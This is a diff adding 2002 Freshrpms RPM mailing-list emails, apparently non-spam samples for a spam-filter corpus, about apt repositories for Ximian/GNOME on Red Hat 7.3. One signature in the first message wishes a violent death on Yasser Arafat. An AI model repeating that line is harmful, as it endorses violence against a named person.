+Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 10:51:51 -0500 +Date: Sun, 21 Jul 2002 10:51:51 -0500 + +[branching the thread, here] + + I found another Ximian repository- I don't know if it works yet... + +rpm http://gstreamer.net/releases/redhat/ redhat-73-i386 deps +rpm-src http://gstreamer.net/releases/redhat/ redhat-73-i386 deps + +rpm http://gstreamer.net/releases/redhat/ redhat-73-i386 deps ximian +rpm-src http://gstreamer.net/releases/redhat/ redhat-73-i386 deps ximian + +rpm http://gstreamer.net/releases/redhat/ redhat-73-i386 deps gnomehide +rpm-src http://gstreamer.net/releases/redhat/ redhat-73-i386 deps gnomehide + + These guys are EXTREMELY apt-friendly. Unlike most multimedia projects, they seem to prefer RPM/Apt over the older methods. Isn't that cool? + + Hey- how would I have known to "apt-get install gnome-session" to kick all this off? + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01131.973943570b3b1ef6405a9d3cce5fc4fc b/bayes/spamham/easy_ham_2/01131.973943570b3b1ef6405a9d3cce5fc4fc new file mode 100644 index 0000000..4ed302d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01131.973943570b3b1ef6405a9d3cce5fc4fc @@ -0,0 +1,60 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:20:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 11718440C9 + for ; Mon, 22 Jul 2002 14:20:14 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:20:14 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFIV903105 for + ; Mon, 22 Jul 2002 16:18:31 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id KAA31166 for ; + Mon, 22 Jul 2002 10:32:18 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6M9T6C24372; Mon, 22 Jul 2002 11:29:07 + +0200 +Received: from grimm1.grimstad (ti131310a080-0960.bb.online.no + [80.212.19.192]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id + g6M7gUC21459 for ; Mon, 22 Jul 2002 09:42:31 +0200 +Received: From LOCALHOST.LOCALDOMAIN (148.121.170.2[148.121.170.2 + port:4688]) by grimm1.grimstad Mail essentials (server 2.422) with SMTP + id: <7700@grimm1.grimstad> for ; Mon, + 22 Jul 2002 9:41:41 AM +0200 smtpmailfrom +Received: (from noselasd@localhost) by localhost.localdomain + (8.11.6/8.11.6) id g6M7gIe29136 for rpm-list@freshrpms.net; Mon, + 22 Jul 2002 09:42:18 +0200 +From: "Nils O. Selåsdal" +Message-Id: <200207220742.g6M7gIe29136@localhost.localdomain> +To: rpm-zzzlist@freshrpms.net +Subject: My Repository... +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 09:42:18 +0200 +Date: Mon, 22 Jul 2002 09:42:18 +0200 + +Just for your information, I have an apt-repository for RH 7.3 at +http://utelsystems.dyndns.org +-- +NOS@Utel.no + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01132.53cd6a1e37720d9b6614f0384222d443 b/bayes/spamham/easy_ham_2/01132.53cd6a1e37720d9b6614f0384222d443 new file mode 100644 index 0000000..dcf18da --- /dev/null +++ b/bayes/spamham/easy_ham_2/01132.53cd6a1e37720d9b6614f0384222d443 @@ -0,0 +1,68 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:20:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 869D4440C8 + for ; Mon, 22 Jul 2002 14:20:16 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:20:16 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG16Y16398 for + ; Mon, 22 Jul 2002 17:01:06 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id NAA27583 for ; + Sun, 21 Jul 2002 13:40:14 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6LCQ1C24031; Sun, 21 Jul 2002 14:26:02 + +0200 +Received: from basket.ball.reliam.net (basket.ball.reliam.net + [213.91.6.7]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6LCPlC23990 + for ; Sun, 21 Jul 2002 14:25:51 +0200 +Received: from localhost.localdomain (pD9E5A0DD.dip.t-dialin.net + [217.229.160.221]) by basket.ball.reliam.net (Postfix) with SMTP id + 5A50B3DB4 for ; Sun, 21 Jul 2002 14:25:41 +0200 + (CEST) +From: che +To: rpm-zzzlist@freshrpms.net +Subject: Re: Ximian apt repos? +Message-Id: <20020721142007.03c02bc4.che666@uni.de> +In-Reply-To: <20020721051108.0fd207d5.che666@uni.de> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> + <1027218043.3516.5.camel@localhost.localdomain> + <20020721051108.0fd207d5.che666@uni.de> +Organization: che +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 14:20:07 -0400 +Date: Sun, 21 Jul 2002 14:20:07 -0400 + +On Sun, 21 Jul 2002 05:11:08 -0400 +che wrote: + +The server mentioned above works again now :)! + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01133.5f3264862b9cf42bf123453aed9334b4 b/bayes/spamham/easy_ham_2/01133.5f3264862b9cf42bf123453aed9334b4 new file mode 100644 index 0000000..6f40a0d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01133.5f3264862b9cf42bf123453aed9334b4 @@ -0,0 +1,76 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:20:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 73FF5440C8 + for ; Mon, 22 Jul 2002 14:20:29 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:20:29 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFxpY15557 for + ; Mon, 22 Jul 2002 16:59:51 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id SAA28470 for ; + Sun, 21 Jul 2002 18:57:57 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6LHn1C32167; Sun, 21 Jul 2002 19:49:01 + +0200 +Received: from hall.mail.mindspring.net (hall.mail.mindspring.net + [207.69.200.60]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6LHm8C25289 for ; Sun, 21 Jul 2002 19:48:08 +0200 +Received: from user-1121pr6.dialup.mindspring.com ([66.32.231.102]) by + hall.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17WKoQ-0005WC-00 for + rpm-list@freshrpms.net; Sun, 21 Jul 2002 13:48:06 -0400 +Subject: Re: Ximian apt repos? +From: Chris Weyl +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020721091108.085bee34.kilroy@kamakiriad.com> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> + <1027218043.3516.5.camel@localhost.localdomain> + <20020721051108.0fd207d5.che666@uni.de> + <20020721142007.03c02bc4.che666@uni.de> + <1027252799.12983.0.camel@localhost.localdomain> + <20020721145013.4dc253d6.che666@uni.de> + <20020721151211.7140ecdb.che666@uni.de> + <20020721091108.085bee34.kilroy@kamakiriad.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1027274164.11896.10.camel@athena> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 21 Jul 2002 12:56:03 -0500 +Date: 21 Jul 2002 12:56:03 -0500 + +On Sun, 2002-07-21 at 09:11, Brian Fahrlander wrote: +> +> Server problems? Or is this a way to limit bandwidth? + +"Captain, I sense a need to mirror...." :-) + +If I wasn't on DSL I would. + + -Chris + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01134.3ee22d26a56ea888aa8b491dd7cf8212 b/bayes/spamham/easy_ham_2/01134.3ee22d26a56ea888aa8b491dd7cf8212 new file mode 100644 index 0000000..3241e58 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01134.3ee22d26a56ea888aa8b491dd7cf8212 @@ -0,0 +1,70 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:21:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 20DBA440C9 + for ; Mon, 22 Jul 2002 14:21:03 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:21:03 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFxpY15548 for + ; Mon, 22 Jul 2002 16:59:51 +0100 +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id TAA28528 for ; + Sun, 21 Jul 2002 19:09:13 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6LHt2C21587; Sun, 21 Jul 2002 19:55:02 + +0200 +Received: from barry.mail.mindspring.net (barry.mail.mindspring.net + [207.69.200.25]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6LHsGC19436 for ; Sun, 21 Jul 2002 19:54:16 +0200 +Received: from user-1121pr6.dialup.mindspring.com ([66.32.231.102]) by + barry.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17WKuN-0006pz-00 + for rpm-list@freshrpms.net; Sun, 21 Jul 2002 13:54:15 -0400 +Subject: Re: Ximian apt repos? +From: Chris Weyl +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020721105151.01f2db4a.kilroy@kamakiriad.com> +References: <1027203479.5354.14.camel@athena> + <20020721105151.01f2db4a.kilroy@kamakiriad.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1027274532.11896.13.camel@athena> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 21 Jul 2002 13:02:12 -0500 +Date: 21 Jul 2002 13:02:12 -0500 + +On Sun, 2002-07-21 at 10:51, Brian Fahrlander wrote: +> [branching the thread, here] +> +> I found another Ximian repository- I don't know if it works yet... + +And even one more at: http://apt-rpm.codefactory.se/ (rh7.2 + 7.3, +Ximian & gnomehide). + + -Chris + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01135.46541a85989cda56be4942a442f1ae20 b/bayes/spamham/easy_ham_2/01135.46541a85989cda56be4942a442f1ae20 new file mode 100644 index 0000000..6d349fa --- /dev/null +++ b/bayes/spamham/easy_ham_2/01135.46541a85989cda56be4942a442f1ae20 @@ -0,0 +1,79 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:21:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3C530440C8 + for ; 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Mon, 22 Jul 2002 14:58:23 +0200 +From: Matthias Haase +To: rpm-zzzlist@freshrpms.net +Subject: Re: gentoo 0.11.28 is out.. +Message-Id: <20020722145822.417e825b.matthias_haase@bennewitz.com> +In-Reply-To: <20020719184052.0f2df4e1.matthias@egwn.net> +References: <7uit3eljnp.fsf@allele2.biol.berkeley.edu> + <20020718102254.0664d716.matthias@egwn.net> + <20020718122654.1604541d.matthias_haase@bennewitz.com> + <20020718130029.523aa992.matthias@egwn.net> + <20020719183016.3297b423.matthias_haase@bennewitz.com> + <20020719184052.0f2df4e1.matthias@egwn.net> +X-Operating-System: customized linux smp kernel 2.4* on i686 +X-Mailer: Sylpheed +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 14:58:22 +0200 +Date: Mon, 22 Jul 2002 14:58:22 +0200 + +On Fri, 19 Jul 2002 18:40:52 +0200 +Matthias Saou wrote: + +> I'll put up the next version as soon as it's out hoping it'll fix all +> current issues! +Hi, Matthias, +gentoo 0.11.30 is out now and the 'copy nested directory' bug is fixed, +see ChangeLog on + +http://sourceforge.net/project/shownotes.php?group_id=32880&release_id=100766 + + +-- +regards from Germany + Matthias + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01136.45eaa9097418f81572f844e89a8479d6 b/bayes/spamham/easy_ham_2/01136.45eaa9097418f81572f844e89a8479d6 new file mode 100644 index 0000000..bfaa57c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01136.45eaa9097418f81572f844e89a8479d6 @@ -0,0 +1,67 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:21:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5712A440C8 + for ; Mon, 22 Jul 2002 14:21:36 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:21:36 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFHV902190 for + ; Mon, 22 Jul 2002 16:17:31 +0100 +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id NAA31920 for ; + Mon, 22 Jul 2002 13:56:58 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6MCl1C23888; Mon, 22 Jul 2002 14:47:02 + +0200 +Received: from basket.ball.reliam.net (basket.ball.reliam.net + [213.91.6.7]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6MCjgC23381 + for ; Mon, 22 Jul 2002 14:45:42 +0200 +Received: from localhost.localdomain (pD9EB55BC.dip.t-dialin.net + [217.235.85.188]) by basket.ball.reliam.net (Postfix) with SMTP id + 072973DC3 for ; Mon, 22 Jul 2002 14:45:34 +0200 + (CEST) +From: che +To: rpm-zzzlist@freshrpms.net +Subject: central management +Message-Id: <20020722144004.3e8e8f0a.che666@uni.de> +Organization: che +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 14:40:04 -0400 +Date: Mon, 22 Jul 2002 14:40:04 -0400 + +hello! +well in my eyes something like a public contrib repository would be nice (where everyone can at least upload spec files) and a something like a "repository directory" with a collection of available repositorys and their content. + +i am personally on a dsl dialup connection with 16kb/s upstream cap and that kinda sucks perhaps i am gonna still create a respository for small windowmaker dockapps in the future :). + +what do you think? + +thanks, +che + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01137.e0afde7fc471f626742746c738013750 b/bayes/spamham/easy_ham_2/01137.e0afde7fc471f626742746c738013750 new file mode 100644 index 0000000..a54ebea --- /dev/null +++ b/bayes/spamham/easy_ham_2/01137.e0afde7fc471f626742746c738013750 @@ -0,0 +1,90 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:22:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F3E97440C8 + for ; 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Sun, 21 Jul 2002 14:55:42 +0200 + (CEST) +From: che +To: rpm-zzzlist@freshrpms.net +Subject: Re: Ximian apt repos? +Message-Id: <20020721145013.4dc253d6.che666@uni.de> +In-Reply-To: <1027252799.12983.0.camel@localhost.localdomain> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> + <1027218043.3516.5.camel@localhost.localdomain> + <20020721051108.0fd207d5.che666@uni.de> + <20020721142007.03c02bc4.che666@uni.de> + <1027252799.12983.0.camel@localhost.localdomain> +Organization: che +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 14:50:13 -0400 +Date: Sun, 21 Jul 2002 14:50:13 -0400 + +On 21 Jul 2002 23:59:59 +1200 +Mark Derricutt wrote: + +> On Mon, 2002-07-22 at 06:20, che wrote: +> +> > The server mentioned above works again now :)! +> +> Any problems with the rpm's they provided? +> +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list + +#redhat 7.3 +rpm http://apt.sunnmore.net gnome2 73 +rpm-src http://apt.sunnmore.net gnome2 73 + +#redhat 7.2 +rpm http://apt.sunnmore.net gnome2 72 +rpm-src http://apt.sunnmore.net gnome2 72 + +thats the correct lines to be added to sources.list for the repository + +i just did a apt-get install gnome-session its still progressing :) + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01138.921e383bac77952cac8d28c91d603d15 b/bayes/spamham/easy_ham_2/01138.921e383bac77952cac8d28c91d603d15 new file mode 100644 index 0000000..41d57b2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01138.921e383bac77952cac8d28c91d603d15 @@ -0,0 +1,74 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:22:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 769D3440C8 + for ; Mon, 22 Jul 2002 14:22:18 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:22:18 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFHo902462 for + ; Mon, 22 Jul 2002 16:17:50 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id NAA31776 for ; + Mon, 22 Jul 2002 13:24:26 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6MCH1C02824; Mon, 22 Jul 2002 14:17:01 + +0200 +Received: from grimm1.grimstad (ti131310a080-0960.bb.online.no + [80.212.19.192]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id + g6MC8TC10530 for ; Mon, 22 Jul 2002 14:08:29 +0200 +Received: From LOCALHOST.LOCALDOMAIN (148.121.170.2[148.121.170.2 + port:4721]) by grimm1.grimstad Mail essentials (server 2.422) with SMTP + id: <7866@grimm1.grimstad> for ; Mon, + 22 Jul 2002 2:00:11 PM +0200 smtpmailfrom +Received: (from noselasd@localhost) by localhost.localdomain + (8.11.6/8.11.6) id g6MC0nB29804 for rpm-list@freshrpms.net; Mon, + 22 Jul 2002 14:00:49 +0200 +From: "Nils O. Selåsdal" +Message-Id: <200207221200.g6MC0nB29804@localhost.localdomain> +To: rpm-zzzlist@freshrpms.net +Subject: Re: My Repository... +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 14:00:49 +0200 +Date: Mon, 22 Jul 2002 14:00:49 +0200 + +[yes, I know I'm replying to myself!] + +> Your page has a typo; +> +> http://utelsystems.dyndns.org lists: +> rpm http://utelsystems.dyndns.org/apt redhat testingrh73 +> rpm-src http://utelsystems.dyndns.org/apt redhat testing73 <-- +> +> This is why I'm so stubborn about using cut-and-paste; not only is it easy, it's typo-free. :) +> +> Wouldn't it be nice if there was a way to manage these automagically? Some central site to make them available to the rest of the world, every time there's a "apt-get update"? :) + +it sure would. +>Also- I noticed this repo has about an 8K bandwidth. +I know, i know. Its an ADSL connection. Should habe 128K ;-( +Feel free to give me access to an web/ftp server with big pipes.. + +- + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01139.7d9591cdfb9b77906c4bbb7373cac8c5 b/bayes/spamham/easy_ham_2/01139.7d9591cdfb9b77906c4bbb7373cac8c5 new file mode 100644 index 0000000..71974a7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01139.7d9591cdfb9b77906c4bbb7373cac8c5 @@ -0,0 +1,80 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:22:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AE319440C8 + for ; Mon, 22 Jul 2002 14:22:34 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:22:34 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFHo902473 for + ; Mon, 22 Jul 2002 16:17:50 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id NAA31741 for ; + Mon, 22 Jul 2002 13:16:28 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6MCD1C26082; Mon, 22 Jul 2002 14:13:02 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6MCBrC15168 for + ; Mon, 22 Jul 2002 14:11:54 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: My Repository... +Message-Id: <20020722140722.0cde1e6d.matthias@egwn.net> +In-Reply-To: <20020722063623.260bb332.kilroy@kamakiriad.com> +References: <200207220742.g6M7gIe29136@localhost.localdomain> + <20020722061619.326b0142.kilroy@kamakiriad.com> + <20020722063623.260bb332.kilroy@kamakiriad.com> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.7.8claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 14:07:22 +0200 +Date: Mon, 22 Jul 2002 14:07:22 +0200 + +Once upon a time, Brian wrote : + +> Also- I noticed this repo has about an 8K bandwidth. Is there a way +> I can put this behind the others, so I don't hammer it for things +> that are at other repos? I'm respectful about bandwidth, having +> lived on dialup for so long. Now I'm on fiber optic and it's a whole +> other world... + +Sure, just use "os" and "updates" from apt.freshrpms.net for instance then +add the lines for that repository with only the module you want/need (here +it's "testing73" I guess). + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git 